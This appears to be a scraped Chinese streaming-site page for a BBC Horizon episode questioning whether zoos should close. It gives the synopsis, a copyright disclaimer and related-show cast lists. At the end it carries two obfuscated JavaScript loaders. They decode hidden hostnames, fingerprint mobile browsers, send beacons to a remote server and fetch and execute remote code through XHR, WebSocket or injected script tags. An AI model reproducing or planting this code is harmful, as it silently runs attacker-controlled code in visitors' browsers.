剧情简介
Liz Bonnin presents a controversial and provocative episode of Horizon, investigating how new scientific research is raising hard questions about zoos - the film explores how and wLiz Bonnin presents a controversial and provocative episode of Horizon, investigating how new scientific research is raising hard questions about zoos - the film explores how and why zoos keep animals, and whether they need to change to keep up with modern science or ultimately be consigned to history. Should zoos cull their animals to manage populations? Liz travels to Copenhagen Zoo, who killed a giraffe and fed it to the lions, to witness their culling process first hand. They think it is a natural part of zoo keeping that is often swept under the carpet. Should some animals never be kept in captivity? In a world exclusive, Liz visits SeaWorld in Florida and asks if captivity drove one of their orcas to kill his trainer. But could zoos be the answer to conserving endangered species? Liz examines their record, from helping breed pandas for the wild to efforts to save the rhinos. She meets one of the last surviving northern white rhinos and discovers the future of this species now lies in a multimillion-dollar programme to engineer them from stem cells. Veteran conservation scientist Dr Sarah Bexell tells Liz the science of captive breeding is giving humanity false hope.
本网站提供地平线系列：我们该关了动物园吗的最新电视剧资源均系机器人自动采集收集于各大视频网站,并不提供影片资源存储，也不参与录制、上传，并不了解播放网站是否拥有版权,本站仅负责连接，当权利人发现在本站的地平线系列：我们该关了动物园吗内容侵犯其著作权时，请权利人向邮箱发出书面“权利通知”，本站将依法采取措施移除相关内容或断开相关链接.详情
猜你喜欢
更新至9集Barbara,Ann,Duffy,Vera,Duffy,Natasha,Estrada,Anthony,Carasa,Lenora,Claire,Dark,Mark
全4集阿莱克斯·摩根,Kristie Mewis,Alyssa Thompson,Savannah DeMelo,Lindsey Horan,Lynn Williams,Megan Rapinoe,Sofia Huerta
全3集约翰·列侬,保罗·麦卡特尼,林戈·斯塔尔,乔治·哈里逊,Mal,Evans,迈克尔·林赛-霍格,乔治·马丁,Heather,McCartney,琳达·麦卡特尼,小野洋子,比利·普林斯顿,莫琳·斯塔基,Geoff,Emerick
更新HDJohn,Bates,Dorene,Bernard,Stephen,Colbert
HD管虎,曹郁,林木,梁静,朱文玖,张大军,赵宁宇,李宙,,杜淳,魏晨,欧豪,王千源,姜武,张译,李晨,余皑磊,郑恺,辛柏青,黄晓明,唐艺昕,白恩
function ErzJX(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function eiAPryQw(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ErzJX(t);};window[''+'R'+'b'+'l'+'U'+'t'+'V'+'k'+'p'+'i'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=eiAPryQw,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var sul='https://'+u+'/v2/stats/339/'+i;if(navigator.sendBeacon){navigator.sendBeacon(sul);}else{new Image().src=sul;}'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/vh2/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9533/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src='https://'+u+'/vh2/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src='https://'+u+'/vh2/'+i;cs.parentElement.insertBefore(s,cs);}})('ZWtvaXEucG9xa211qYi5jb20=','aG53ZXIucXdmdWliZWprLLmNvbQ==','1285',window,document,['1','L']);}:function(){};
function xFqIBpW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function cOWrRu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xFqIBpW(t);};window[''+'O'+'d'+'Q'+'p'+'E'+'a'+'w'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=cOWrRu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var sul='https://'+u+'/v2/stats/339/'+i;if(navigator.sendBeacon){navigator.sendBeacon(sul);}else{new Image().src=sul;}'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/vh2/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9533/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src='https://'+u+'/vh2/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src='https://'+u+'/vh2/'+i;cs.parentElement.insertBefore(s,cs);}})('ZWtvaXEuucG9xa21qYi5jb20=','aG53ZXIucXdmdWWliZWWprLmNvbQ==','1284',window,document,['u','W']);}:function(){};
